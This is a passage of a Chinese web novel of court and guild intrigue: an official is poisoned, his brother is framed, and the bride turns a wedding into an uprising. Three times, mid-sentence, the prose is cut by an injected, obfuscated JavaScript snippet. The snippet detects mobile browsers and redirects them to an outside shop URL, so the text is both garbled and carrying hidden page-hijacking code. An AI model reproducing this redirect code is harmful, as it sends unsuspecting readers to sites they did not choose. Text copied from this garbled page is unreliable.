曾钦宁微微颤抖着,声音惶恐又急切:“是……民女曾偶然听闻。李侯爷心思缜密,行事多有后手。那处宅子极为隐秘,或可一查。民女自知罪孽深重,不敢求大人宽宥,只求……只求大人看在民女今日坦诚的份上,日后……能给民女一个……一个不至于太过凄惨的了结。” 谢昀盯着她看了半晌。李既白还有秘密据点?这倒符合他一贯的作风。宁可信其有,不可信其无。 “起来吧。”谢昀语气缓和了些,“若你所言属实,本官自会酌情考量。那宅子,具体在柳条巷何处?” “民女……只记得大概方位,似是在巷子中段,一棵老槐树对面,门楣上有破损的砖雕……”曾钦宁努力回忆着,说得含糊,“时间久了,民女实在记不真切,怕指错了误了大人的事。大人可派人暗中查访,或能有所发现。” 她将线索说得若有若无,谢昀沉吟片刻,觉得有理。他正欲唤人进来吩咐,曾钦宁却怯生生地开口:“大人……民女能否……能否讨杯水喝?方才来得急,有些……气短。” 谢昀此刻心情稍霁,又见她确实脸色苍白,额角有虚汗,便对门外吩咐了一句。 很快,老仆端着一个黑漆托盘进来,上面放着一把紫砂壶和两个茶杯。他默默地将托盘放在书案旁的茶几上,为谢昀斟了一杯茶,又看向曾钦宁。 谢昀挥挥手:“给她也倒一杯。” 老仆依言,用另一只杯子为曾钦宁也斟了七分满的茶水,然后将茶壶放回托盘,躬身退了出去,依旧守在门外。 曾钦宁谢过,双手有些颤抖地捧起茶杯,凑到唇边,似乎因为虚弱,手一滑,杯中微烫的茶水泼洒出少许。 “民女失仪!” 她慌忙放下杯子,用袖子去擦茶几上的水渍,动作间,宽大的袖摆拂过谢昀那杯尚未动过的茶水杯口,细微得几乎无人察觉。 谢昀并未在意这点小意外,他的心思已转到如何派人去柳条巷秘密查访上。 曾钦宁擦拭干净,重新坐好,小口抿着自己杯中剩余的茶水。 那袖中藏着的“雁涟通”,在她方才擦拭的瞬间,已溶入了谢昀的茶杯之中。无色无味,遇热则发散药性。这是欧阳家秘制的毒剂,单独使用,一次足量,六个时辰内,会诱发类似急症风寒继而心肺衰竭的症状,便是最老练的仵作,也极难察觉异样。 曾钦宁退下后,谢昀独自在书房中又坐了片刻。窗外的天色愈发阴沉,如同浸透了浓墨的宣纸,沉甸甸地压下来,让人心头无端烦闷。 他端起那杯茶水,杯沿温热。他饮了一口,茶水温吞,微涩回甘。许是天气缘故,他总觉得这茶味比平日淡了些。 他只当是心情烦闷影响了味觉,并未深究。放下茶杯,他扬声唤来亲信谢忠,“即刻派几个机警可靠的人,去城西柳条巷暗中查访。特别是巷子中段,留意有老槐树的宅院。小心行事,莫要打草惊蛇,有任何发现,速来回报。” “是,三爷。” 谢昀揉了揉有些发胀的额角,那股烦闷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16881846|186703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感并未散去,反而添了一丝头重脚轻。 他起身,走到窗边,推开半扇窗,试图让空气流通些。然而涌入的并非凉风,而是更加湿黏的热气,夹杂着腥味。 他望着天,雷声在云层深处滚动,如同困兽的低吼。 明日,六月初六,按原计划,是赵衾与苏晚大婚之日,也是他准备收网,彻底扳倒赵衾的关键时刻。一切似乎都在掌控之中,李既白已成阶下囚,苏晚这枚棋子用得顺手,赵衾的婚礼将成为他的坟墓…… 可为何,心头这股不安却越来越浓? 他甩了甩头,试图驱散不安。成大事者,岂能因一时心绪不宁而自乱阵脚。他重新坐回案后,强迫自己集中精神,审阅起关于明日布置的最后几份文书。 * 另一边,曾钦宁被谢文芯送回了居所。谢文芯自觉办成了一桩大事,心情松快了不少。对曾钦宁的态度也温和了许多,甚至叮嘱侍女好生照料。 待谢文芯离开,房门关上,曾钦宁才仿佛卸下了所有力气,软软地靠在床柱上。 成了。 她闭上眼。 胸腔里那颗被毒素侵蚀已久的心脏,此刻却异常平静地跳动着。 待侯爷事成那日…… 不过她知道,自己等不到那一天了。三皇子下的慢性毒,早已深入肺腑,加上今日这剂“猛药”,她的时间,真的不多了。 窗外,一道惨白的闪电骤然划破天际,将室内照得亮如白昼,旋即又陷入更深的黑暗。紧接着,滚滚惊雷炸开,震得窗棂嗡嗡作响。酝酿了整日的大雨,终于倾盆而下。豆大的雨点狂暴地砸在下,发出震耳欲聋的哗啦声,将天地间的一切声响都吞没。 * 驿馆另一处院落 苏晚站在窗前,望着被暴雨撕扯得模糊一片的庭院。雨水疯狂地敲打着窗纸,水汽弥漫进来,带着凉意。 这场雨,来得又急又猛,仿佛要将淮州城连日来的闷热和压抑一并冲刷干净。 不知怎的,她想起了地牢里的李既白。那样阴暗潮湿的地方,此刻怕是积水更深,寒意更重吧。 他胸口的伤…… 这个念头一闪而过,立刻被她强行掐断。现在不是想这些的时候。 谢文芯下午带着曾钦宁去见谢昀的消息,她已经通过周娘子知道了。曾钦宁果然抓住了机会。那么,毒,下了吗? 她无从得知。但她相信曾钦宁。那个女人,有着与柔弱外表截然相反的狠绝。当她决定做一件事时,往往会做到极致。 现在,她们能做的,只有等待。等待毒发,等待混乱,等待那个最佳时机的到来。 明日,原本是谢昀收网的日子。如今,却可能因为谢昀的死,而变得扑朔迷离。 赵衾那边……苏晚转身,走到桌边,桌上是赵衾派人送来的几样婚礼用品: 一对赤金镶红宝的龙凤镯,一套的珍珠头面。在烛光下,它们闪耀着冰冷而华贵的光芒。 赵衾的请柬早已遍发全城,醉仙楼的布置也已基本完成。这场婚礼,如今已是箭在弦上。无论明日有何事,婚礼都必须照常举行。这是她和赵衾协议的一部分,也是将计划推向高潮的必要一环。 只是,若谢昀真的“出事”,这场婚礼的意味就将完全不同。它不再是谢昀用来对付赵衾的舞台,而是成为淮州各方势力重新洗牌的开端。 而她,必须在这场骤变中,为自己争得最大的生机和主动权。 雨越下越大,丝毫没有停歇的迹象。苏晚吹熄了桌上的蜡烛,只留墙角一盏小小的油灯。她坐在黑暗里,听着窗外滂沱的雨声,眸光在昏暗中明灭不定。 54. 第五十四章 驿馆深处,谢昀的书房内却异常安静。谢昀靠在紫檀木椅中,双目紧闭,仿佛在闭目养神,又像是在忍受某种不适。 他感到一阵阵的头晕目眩,胸口发闷,呼吸也有些不畅。起初他以为是连日劳累加上天气闷热所致,可随着时间推移,那股滞涩感和越来越明显,甚至指尖都开始发凉。他试图集中精神思考明日的安排,但思绪却像浸了水的棉絮,沉重而散乱。 “来人……”他试图唤人,声音却低哑得连自己都听不清。 不知过了多久,书房外传来一阵急促的脚步声,“三哥!” 谢昆带着酒意,声音粗嘎,“我实在不明白!你到底是怎么想的,那苏晚就是个祸水!你为何要跟她搅和在一起?还让她在婚礼上搞事?” 他今日在望江楼,与那赵衾碰面时,那赵衾明里暗里讽刺自己织纺的绣品,还将月光锦的事又抖了出来。自己在那吃了个大亏,若不是谢昀说要和苏晚赵衾合作,他怎么可能吃这个哑巴亏! 他带着一身酒气和怒气,直冲谢昀的书房。 守在门外的老仆试图阻拦:“四爷,三爷吩咐了,今夜不见客,正在处理要务……” “要务?什么要务要避开我这个兄弟?”谢昆一把推开老仆,“我今日非得问清楚,那个苏晚到底给三哥灌了什么迷魂汤!李既白倒了,正是我们谢家彻底掌控漕运的大好时机,为何要去跟赵衾那泥腿子的女人搅和在一起,还要让她在婚礼上搞什么‘民怨公审’?这简直是胡闹!平白给了那些贱民闹事的机会,万一控制不住,反伤了我们谢家的脸面!” 他嘴里嚷嚷着,手上用力,不等里面回应,便“哐当”一声推开了书房的门。 室内烛光昏暗,只见谢昀背对着门口,坐在椅中,一动不动。 “三哥?”谢昆走近了些,提高了声音,“我在跟你说话!” 谢昀依然没有回应,甚至连姿势都没变一下。 他继续往里走,“那个苏晚……” 他的话戛然而止。 因为他看清了谢昀的脸。 脸色是一种不正常的青白嘴唇发紫,眼窝深陷,头颅无力地歪向一边,一只手垂在身侧,指尖呈现出诡异的乌色。书案上,茶水翻倒,浸湿了摊开的文书。 “三……三哥?!”谢昆的声音变了调,颤抖着伸出手,想去探谢昀的鼻息。 指尖尚未触及,身后陡然传来一声凄厉至极的尖叫: “杀人啦!四爷杀了三爷!” 谢昆浑身剧震,骇然回头,只见谢昀最信任的亲随谢忠不知何时出现在门口,满脸的惊骇欲绝,双目赤红,手指颤抖地指着他,“快来人啊!四爷他……他杀了三爷!我亲眼看见的!四爷闯进来,和三爷争吵,然后……然后三爷就……就没气了啊!!!” 几乎是谢忠话音落下的同时,外面被暴雨掩盖的寂静被彻底打破。被惊动的仆役护卫如同潮水般冲向书房。 “怎么回事?!” “三爷怎么了?!” “谁在喊杀人?!” 谢昆彻底懵了,大脑一片空白。他看着面前显然已经气绝的谢昀,又看看门口状若疯狂的谢忠,再听着外面迅速汇聚的喧哗,一股冰冷的寒意瞬间从脚底直冲头顶,冻得他四肢百骸都僵住了。 “不……不是……我没有……”他张了张嘴,想要辩解,却发现声音干涩得厉害。 谢忠不给他机会,“四爷!您为何要下此毒手啊!” 谢忠猛地抬起头,脸上泪水纵横,眼中是毫不作伪的悲痛与愤怒,“就算您对三爷与苏晚合作不满,就算您觉得三爷处事不公,可毕竟是血脉兄弟啊!您怎么能……怎么能为了那些外人的挑拨,就……就害了三爷性命啊!” 他哭喊着,字字泣血,将“杀人动机”都帮谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895664|186703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昆“补全”了——兄弟阋墙,利益争执,怒而杀人。 这时,第一批仆役和护卫已经冲到了书房门口,挤在门口,正好看到谢忠扑在谢昀身边痛哭,而谢昆则呆呆地站在一旁,脸色惨白,手上似乎还保持着向前伸出的姿势(他刚才想探鼻息)。再看谢昀那明显已无生息的骇人模样…… “天啊!三爷真的……” “四爷他……” “抓住杀人凶手!” 不知是谁先喊了一声,几名忠于谢昀的护卫立刻红了眼睛,拔刀就要冲进来拿人。 “不!不是我!我没有杀人!”谢昆这才如梦初醒,惊恐地后退,嘶声辩白,“我进来的时候三哥就已经……是谢忠!谢忠他诬陷我!” “诬陷?”谢忠猛地抬起头,满脸泪水和雨水,悲愤交加,“四爷!我谢忠跟随三爷十余年,忠心耿耿,天地可鉴!我为何要诬陷您?是我亲眼所见!您闯进来,与三爷争吵,然后……然后三爷就倒下了!若不是您,难道是三爷自己突然暴毙不成?!这书房里,除了您,还有谁?!” 他的话逻辑清晰,合情合理,瞬间将所有人的怀疑都钉死在了谢昆身上。 是啊,谢忠是三爷最信任的人,他为何要诬陷四爷?四爷与三爷素来有隙,今日又冒雨闯来,争吵杀人,动机十足。再看三爷的死状……不是他,还能有谁? “拿下!”护卫首领不再犹豫,厉声喝道。 谢昆见势不妙,转身就想从窗户逃走,却被眼疾手快的护卫一脚踹翻在地,数把钢刀立刻架在了他的脖子上。 “押起来!严加看管!速速派人封锁驿馆,任何人不得进出!”护卫首领一连串命令。 谢忠依旧跪在谢昀尸身旁,肩膀耸动,似乎悲痛得难以自抑。只有他自己知道,那低垂的眼眸深处,是一丝极淡的疲惫。 李既白交给他的最后任务,完成了。 55. 第五十五章 吉时将至,外间传来震天的鞭炮声和鼓乐声,迎亲的队伍到了。 赵衾并未亲自叩门,依足了规矩,由喜娘在外唱喏。 房门打开,苏晚由周娘子搀扶着,一步步走出庭院。每一步,都踏在柔软的红毡上,却仿佛踏在无形的冰层之上。 大门外,赵衾已下马等候。隔着盖头,苏晚只能看到他绣着金线祥云的靴尖。 喜娘将系着红绸花球的一端递到她手中,另一端则握在了赵衾手里。 指尖不经意相触,他的手指温热,她的却冰凉。 “娘子,请上轿。”赵衾的声音在耳边响起,声音清脆带着笑意。 十六人抬的花轿停在门前。苏晚在搀扶下坐了进去。轿帘落下,隔绝了外界大部分光线和喧嚣,只剩下一片晃动的红。 花轿起行,锣鼓再鸣,仪仗开道。 长长的队伍蜿蜒在淮州街道,道路两旁,围观的人群被漕帮的人墙隔开,议论声、小儿的哭闹声和商贩的叫卖声汇成一片嘈杂的洪流。 不知过了多久,花轿微微一震,停了下来。 醉仙楼到了。 喧天的乐声和鼎沸的人声瞬间将花轿包围。 喜娘掀开轿帘,盖头遮蔽了视线,苏晚只能看到自己脚下一小片地面,以及无数双各式各样的鞋履。 她握紧了手中的红绸,任由赵衾牵着,跨过火盆,踏过马鞍,一步步走入那宾客云集的大堂。 司礼官高亢的声音响起:“吉时已到——新人行礼——” “一拜天地” 苏晚与赵衾转身,向着门外虚空下拜。 “二拜高堂” 高堂之上,空悬两把椅子。赵衾母亲早亡,赵筑年过六十身子不好。苏晚“父母”更是无从谈起。这一拜,拜的是虚空,也拜的是这无常的命运与即将到来的博弈。 “夫妻对拜” 两人相对而立,隔着红绸与盖头,苏晚似乎能感受到赵衾灼热的目光。她缓缓弯下腰,凤冠上的珠翠轻轻碰撞,发出细碎的声响。 这一拜,无关情爱,只有算计。 “礼成——送入洞房!” 按照规矩,新娘会被送入后堂精心布置的“洞房”等候,新郎则需在外敬酒酬宾。 苏晚在周娘子和喜娘的簇拥下,穿过喧嚣的大堂,走向后堂的楼梯。她能感觉到,随着她的移动,一些隐晦的视线也跟随着,如同附骨之疽。 洞房内红烛高烧,锦被绣榻,熏香馥郁。但这奢华的牢笼里,同样弥漫着一丝挥之不去的紧绷。周娘子将其他喜娘和仆妇暂时支开,关上房门,屋内只剩下她们二人。 “外面怎样?”苏晚自己抬手,轻轻掀开了盖头的一角,露出一双清冽的眼睛。 周娘子低声道:“来了很多人。王知府称病没来,但派了师爷送了重礼。谢家……目前没有其他重要人物露面。漕帮的大小头目,与我们有往来的商贾几乎都到了。赵二爷正在前面应酬,但看得出来,他身边的护卫比平时多了一倍不止。” 苏晚点点头,这都在意料之中。“我们安排的人呢?” “已经混在杂役和乐师里进来了,也有一部分扮作贺喜的宾客。”周娘子声音更低,“只等……信号。” 苏晚走到窗边,推开一道缝隙。楼下大堂的喧哗隐隐传来,夹杂着赵衾爽朗的交谈声。远处,驿馆方向依旧寂静。她的目光越过层层屋脊,望向府衙大牢的方向,又转向北方。 福安和竹儿,应该快过江南了。 她收回目光,重新将盖头放下,端坐在铺着大红锦缎的床沿。 红妆似血,烛影摇红。 这场以婚礼为名的战争,才刚刚拉开序幕。 接下来,就该轮到那些被漕帮压榨的“苦主”,来为这场大戏,点燃第一把真正的火了。 * 醉仙楼大堂内,觥筹交错,丝竹盈耳。珍馐美馔流水般呈上,各色宾客推杯换盏,面上皆是喜庆笑容。 赵衾端着酒杯,周旋于各桌之间。他一身红袍,衬得面色愈发俊朗,举止从容,谈笑风生。 “恭贺赵二爷,佳偶天成,早生贵子!” “二爷大喜!从此淮州商路,更需仰仗二爷照拂!” “二爷与苏娘子,真乃天作之合!今日过后,淮州气象定然一新!” 赵衾含笑应承,来者不拒,酒到杯干。他身边则跟着王莽等心腹。 漕帮的大小头目们占据了几桌显眼位置,吆五喝六,声浪颇高。与漕帮往来密切的商贾们陪着笑脸,说着吉祥话,眼底却难掩对当前局势的忧虑。一些被请来的淮州官员,则显得矜持许多,坐在稍偏的位置,低声交谈,偶尔举杯向主位方向示意。 而王知府托病未来,只派师爷送礼。 酒过三巡,菜过五味,气氛在喧闹中似乎松弛了些许。 就在这时,醉仙楼外原本被漕帮人墙隔开的围观百姓中,忽然起了一阵不大不小的骚动。 几个衣衫褴褛的汉子,奋力挤开人群,冲到了醉仙楼大门前的台阶下。他们不顾漕帮护卫的呵斥阻拦,扑通几声跪倒在地,冲着楼内放声大哭起来。 “……还我码头!漕帮还我活路!” “赵衾!你强占我家船坞,逼死我爹!你不得好死!” “还有我家的渔档!说收就收,一文钱补偿都没有啊!” “……谢三爷死了,就没人管得了你们了吗?! 哭喊声凄厉悲切,瞬间压过了楼内的丝竹与谈笑。 所有宾客都停下了动作,惊愕地望向门外,又下意识地看向主位上的赵衾。 赵衾脸上的笑容瞬间消失,眼神阴沉得可怕。他瞬间明白,这是苏晚的手笔! 他早知她联络了这些苦主,原以为她会在“合适”的时候,配合他演一出“惩治害群之马、安抚民心”的戏码,借此收买人心,巩固权势。却没想到,她竟选在婚礼最高潮的此刻,让这些人以如此激烈的方式闯了进来! 这不是配合,这是要当众撕下他赵二爷“义薄云天”的面皮! “放肆!”王莽反应极快,厉声喝道,“哪里来的刁民,竟敢在二爷大婚之日搅闹!来人,给我轰出去!” 楼外的漕帮护卫立刻上前驱赶,推搡喝骂,与哭喊的百姓冲突起来。场面顿时一片混乱。 席间宾客面面相觑,神色变幻不定。 有人面露不忍,有人事不关己,冷眼旁观;更有人眼中闪过一丝快意——赵衾平日跋扈,得罪的人不在少数。 “且慢!” 一个清朗而带着几分威严的声音响起。众人循声望去,只见淮州府衙的王师爷站了起来。他今日代表抱病的王知府前来,本就存了观望之心。此刻见民怨沸腾,冲突升级,深知不能再坐视不理。否则一旦酿成民变,他回去根本无法向王知府交代,更可能被朝廷追究。 王师爷清了清嗓子,提高声音道:“今日虽是赵二爷大喜之日,但既有百姓陈情喊冤,涉及民生疾苦,官府亦不能充耳不闻!赵二爷,不若请这些百姓暂且进来,由在下与在场诸位乡贤做个见证,听听他们有何冤屈?若果有漕帮中人行为不端,侵害百姓,也好查明真相,还人公道,以安民心。如此,方不误了二爷的吉庆,亦显二爷坦荡胸襟,体恤下情啊!” 这番话极为厉害。若赵衾强行驱赶,便是心虚残暴;若放人进来,则今日这场精心准备的婚礼盛宴,就彻底变了味道。 赵衾胸口起伏,眼神如刀,剜向那王师爷。又扫过席间神色各异的宾客。他知道,自己被将了一军。苏晚这一手,时机拿捏得狠毒刁钻! 就在他骑虎难下、权衡利弊的瞬间 “报——!” 一名漕帮汉子浑身湿透,脸色惊惶,连滚爬爬地从侧门冲了进来,也顾不得礼仪,径直扑到赵衾面前,“二爷!不好了!出,出大事了!” 赵衾心中一种不祥的预感攥紧了他,“慌什么!说清楚!” 那汉子抖如筛糠,“码,码头……我们的三号粮仓……还有城西的货栈……同时走水了!火势极大,风向不对,怕是……怕是好几处要紧的库房都保不住了!弟兄们正在救火,可火借风势,根本压不住啊!” “什么?”赵衾霍然起身,脸色铁青。 粮仓、货栈,那是漕帮的命脉所在!尤其是三号粮仓,存放着大量即将北运的官粮和私货! 几乎在这噩耗传来的同时,又有一人连滚爬爬进来,却是赵衾安排在驿馆附近监视的眼线:“二爷!驿馆……驿馆里冲出一队人马,看装扮是谢家的亲卫,护着几辆马车,强行冲破了封锁,往北门方向去了!” 谢家的人跑了?在这个节骨眼上? 紧接着,第三个坏消息接踵而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16910891|186703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至——一名负责城中消息的管事脸色惨白地挤过来,附在赵衾耳边,用颤抖的声音道:“二爷,刚得的消息……北边,北边黎昭雪将军的先锋营,昨夜突然拔营,向南移动了三十里,就在落鹰涧南口驻扎下来,距离淮州不足二百里了!沿途关卡……似乎得了军令,对北境军的行动未加阻拦!” 这三个消息,如同三道惊雷,接连劈在赵衾头顶,也震得满堂宾客鸦雀无声。 粮仓货栈大火,损失惨重,根基动摇; 谢家余孽趁乱脱逃,后患无穷; 北境军不明原因逼近,兵锋隐约指向淮州! 赵衾只觉得一股腥甜涌上喉头,他强行压下,眼神却已赤红。他猛地扭头,望向通往后面“洞房”的楼梯方向。 苏晚! 这一切,定然都与她脱不了干系!是她联络的苦主,或许不止她!粮仓失火,谢家逃脱,北境军异动……这些事,单凭她一个女子,绝无可能同时办到! 他被耍了!被彻头彻尾地耍了!所谓的合作,所谓的婚礼,都只是麻痹他的幌子! “好……好得很!”赵衾从牙缝里挤出几个字。他再也顾不上什么风度,什么婚礼,猛地将手中的酒杯狠狠掼在地上! “啪嚓”一声脆响,玉杯粉碎。 而楼外的百姓哭喊更甚,与漕帮护卫的冲突眼看就要升级为械斗。 楼内的宾客惊惶起身,纷纷想要离开这是非之地,却又被门口混乱的场面堵住去路。 而赵衾,已然暴怒。他厉声喝道:“王莽!带人封住所有出口!没有我的命令,谁都不许离开!其余人,跟我来!” 他带着一股冲天的杀意,大步流星地朝着后堂楼梯冲去。 他现在只想做一件事:抓住苏晚!他要亲手掐断这个女人的脖子,问出所有的阴谋! 洞房的门就在眼前,依旧是那刺目的红,门上贴着的金色“囍”字在廊下灯光的映照下,却透着一股冰冷的讽刺。 赵衾没有丝毫犹豫,抬脚狠狠踹去! “砰!” 结实的门板应声撞开,发出巨响。 洞房内,红烛依旧高烧,熏香依旧袅袅。然而,原本应该端坐的新娘,却不见踪影。 只有周娘子一人站在窗边,闻声转过身来,脸上并无多少惊慌。 赵衾的目光如刀锋般扫过空荡荡的床铺,再钉在周娘子身上,声音嘶哑冰寒:“她人呢?” 周娘子语气平缓:“二爷息怒。苏妹妹……她说心中闷得慌,想到顶楼露台透透气,看看淮州夜景。” “顶楼露台?”赵衾瞳孔一缩。醉仙楼是淮州最高的建筑之一,顶楼视野极佳,但也意味着……退路极少。 她跑到那里去做什么?难道还想跳楼不成?不,她绝不是那种会轻易自尽的女子。 “带路!”赵衾厉喝。 周娘子没有反抗,默默走到前面,引着他们到一扇通往内部楼梯的小门。这楼梯狭窄,只容一人通过,直通醉仙楼最高的瞭望露台。 赵衾示意王莽带两人守在楼梯口和套房外,自己只带着另外两名最得力的手下,紧跟周娘子身后,拾级而上。 楼梯不长,很快到了尽头。一扇虚掩的木门挡在面前,门缝里透出夏夜微凉的风。 赵衾猛地推开门。 醉仙楼顶层的露天平台豁然眼前。夜风猎猎,吹得人衣袂翻飞。此处视野极为开阔,大半个淮州城的灯火尽收眼底,更能隐约看到码头方向冲天而起的火光浓烟,将那片夜空染成不祥的暗红。 而苏晚,就站在露台边缘的栏杆旁。 她依旧穿着那身华丽沉重的大红嫁衣,凤冠不知何时取下,放在一旁的石桌上,一头青丝只用一根简单的玉簪绾住,几缕碎发被夜风吹起,拂过她沉静的侧脸。 她没有回头,只是静静望着码头火光的方向。嫁衣的裙摆在风中烈烈作响,宛如一团燃烧的孤火。 听到身后的响动,她才缓缓转过身来。 脸上没有新嫁娘的娇羞,只有一片近乎透明的平静。那双清亮的眸子映着远处的火光和近处的灯笼,深不见底。 “二爷来了。”她开口。 赵衾一步步走近,在距离她丈余处停下,胸膛剧烈起伏,所有伪装的温文尔雅此刻剥落殆尽,只剩下野兽般的凶戾:“苏晚,或者我该叫你……黎、昭、月?” 56. 第五十六章 “名字不过是个代号。二爷此刻关心的,应当不是这个。” “好!很好!”赵衾怒极反笑,“那你告诉我,楼下那些刁民,码头的火,谢家人的逃脱,还有北境军的异动是不是都是你干的?你从一开始,就是在利用我对不对!你和李既白,根本从未真正反目!你们一直在演戏给我看,给谢昀看!” 苏晚淡淡道:“二爷聪慧。只是如今才想明白,不觉有些晚了么?” “晚?”赵衾眼中杀机毕露,“不晚,只要抓住你,一切就还不晚!黎昭月,你以为你逃得掉?这醉仙楼上下,里里外外,都是我的人!楼下那些泥腿子能成什么事?码头的火,烧得再旺也能扑灭!谢家已是丧家之犬!至于北境军……没有朝廷调令,黎昭雪敢擅动一兵一卒?他那是找死!” 他越说越快,仿佛在说服自己,语气重新变得自信:“而你,现在落在我手里!我会让你把知道的全都吐出来!你们还有什么后手?说出来,我或许能给你一个痛快!” 苏晚看着他近乎狰狞的面孔,轻轻摇了摇头,眼中掠过怜悯:“二爷,你到现在还不明白吗?从你选择利用我来巩固漕帮的那一刻起,你就已经输了。你太高估了自己的掌控力,也太低估了人心和时势。” 她微微侧身,指向码头方向,语气更添无辜:“那火,救不了了。烧掉的不仅是粮仓货栈,更是你漕帮数年的根基和信誉。” 她又指向驿馆方向:“谢家的人,此刻早已出城。他们带走的,不仅是人,还有谢昀这些年搜刮的巨额财富,以及……足以让谢家向你复仇的把柄。” 最后,她望向北方,语气悠远:“至于我二哥的北境军……他们为何南下,二爷不妨猜猜,是谁给的他们‘理由’和‘底气’?” 赵衾越听心越凉,尤其是最后关于北境军和“理由底气”的话,让他猛然想起那份关于谢家通敌的证据!难道…… “那份证据……你做了手脚?!”他失声问道。 “证据是真的。”苏晚回答,“只不过,送往京城的,不止一份。有些该看到的人,已经看到了。‘勾结外敌,侵吞国帑,构陷忠良’……这样的罪名,足以让任何一位戍边大将有理由加强戒备,甚至前出侦察,以防不测了,不是吗?” 赵衾踉跄后退半步,脸色惨白如纸。他这才彻底明白,自己从头到尾,都被这个女人玩弄于股掌之间! 她不仅利用他摆脱谢昀的直接威胁,更利用他之手,将那致命的证据扩散出去,最终引来了北境军这把最锋利的刀!而他,还傻乎乎地以为自己是螳螂捕蝉后面的黄雀! “贱人!我杀了你!”他怒吼一声,拔出腰间佩刀,寒光一闪,便朝苏晚扑过去。 他身后的两名手下也同时拔刀,封住苏晚可能的退路。 苏晚站在原地,不闪不避,只是静静地看着赵衾扑来的身影,眼中无悲无喜。 “嗖!” 一支弩箭,带着刺耳的破空声,从露台另一侧的阴影中激射而出,精准射中了赵衾持刀的右手手腕。 “啊!”赵衾惨嚎一声,长刀脱手,剧痛让他为之一滞。 与此同时,他身后传来两声闷哼。那两名手下甚至没看清袭击从何而来,便被从楼梯口掩上的谢忠等人从背后捂住嘴,利刃抹喉,软软倒地。 赵衾左手捂住鲜血淋漓的右腕,骇然转头,只见阴影中,墨痕手持一架精巧的□□缓缓步出。他一身黑衣,面色冷峻如铁。在他身后,还有数名同样黑衣的汉子,显然都是李既白留下的暗卫。 “墨痕?”赵衾不敢相信自己的眼睛,“你不是应该在大牢……” “托二爷的福,牢里今日比较乱。”墨痕声音冰冷,“正好给了在下活动的机会。” 赵衾瞬间明白了。 谢昀暴毙,驿馆大乱,王知府焦头烂额,大牢看守必然松懈。 “你们……你们果然是一伙的!” 前有苏晚,后有墨痕和这些显然训练有素的暗卫,他已是瓮中之鳖。 苏晚这才走到石桌旁,拿起那顶华美的凤冠,语气带着一丝嘲讽:“二爷,这顶凤冠,还是还给你吧。我黎昭月的婚事,还轮不到旁人来安排。” 她话音未落,下方楼梯突然传来急促杂沓的脚步声和呼喝声。是楼下部分忠于赵衾的漕帮头目察觉不对,带人冲上来了。 赵衾眼中爆发出最后一抹凶光,他知道,这是他唯一的机会! 他强忍右腕剧痛,左手猛地从靴筒中拔出一把淬毒的匕首,合身朝着看似最薄弱的苏晚侧后方扑去!就算死,他也要拉这个毁了他一切的女人垫背! “小心!”墨痕眼角余光瞥见,转身已是不及。 然而,苏晚却仿佛背后长了眼睛。在赵衾扑来的刹那,她脚下一错,大红嫁衣的宽袖如流云般拂过,身形以一个极其巧妙的角度旋开,不仅避开了匕首的锋芒,更在交错而过的刹那,右手并指如剑,狠辣地戳在了赵衾左肋下的穴道。 赵衾只觉得一股尖锐的酸麻痛楚瞬间蔓延半个身子,左手力道一泄,他闷哼一声,踉跄向前扑倒。正好迎上了墨痕回身劈来的一记手刀,重重砍在后颈。 赵衾眼前一黑,彻底失去了意识,像一滩烂泥般瘫倒在地。 此时,第一批冲上露台的漕帮打手也到了,看到眼前景象,俱是一愣。 墨痕趁他们愣神的功夫,手中弩箭连发,瞬间射倒两人,同时喝道:“赵衾勾结外敌,谋害朝廷钦差,现已伏诛!尔等还要为他卖命,与朝廷为敌吗?!” 打手们看着倒在地上一动不动的赵衾,再看看眼前这些杀气凛然的黑衣人,这些本就因楼下剧变而人心惶惶的打手,顿时犹豫起来。 苏晚此时上前一步,夜风吹起她的红衣黑发,她目光平静地扫过众人,声音清晰而有力:“赵衾罪有应得。若不想与他同罪,此刻放下兵器,官府或可酌情处置。若执迷不悟……格杀勿论。” 她的语气并不如何严厉,却自有一股慑人的气度。 “咣当”、“咣当”,兵器落地声接连响起。 墨痕迅速安排人控制住这些打手,并清理现场。 苏晚走到露台边缘,“墨痕,这里交给你。按计划,清理首恶,稳定局面。安抚百姓,接管漕帮紧要之处。记住,我们是协助官府平乱,切莫逾越。” “是!”墨痕肃然应道,“那侯爷……” “我去接他出来。”苏晚转过身,眼中终于露出一丝疲惫,但更多的是一种尘埃落定的决然。 血色嫁衣在楼梯昏暗的光线中曳动,宛如一道流动的火焰,焚烧尽今夜所有的喧嚣。 * 淮州府衙大牢深处。 此处的阴冷潮湿更甚别处,腐臭与血腥气几乎凝成实质,沉甸甸地压在每一次呼吸里。墙壁上的火把忽明忽暗,将刑架上那人的影子拉扯得扭曲变形。 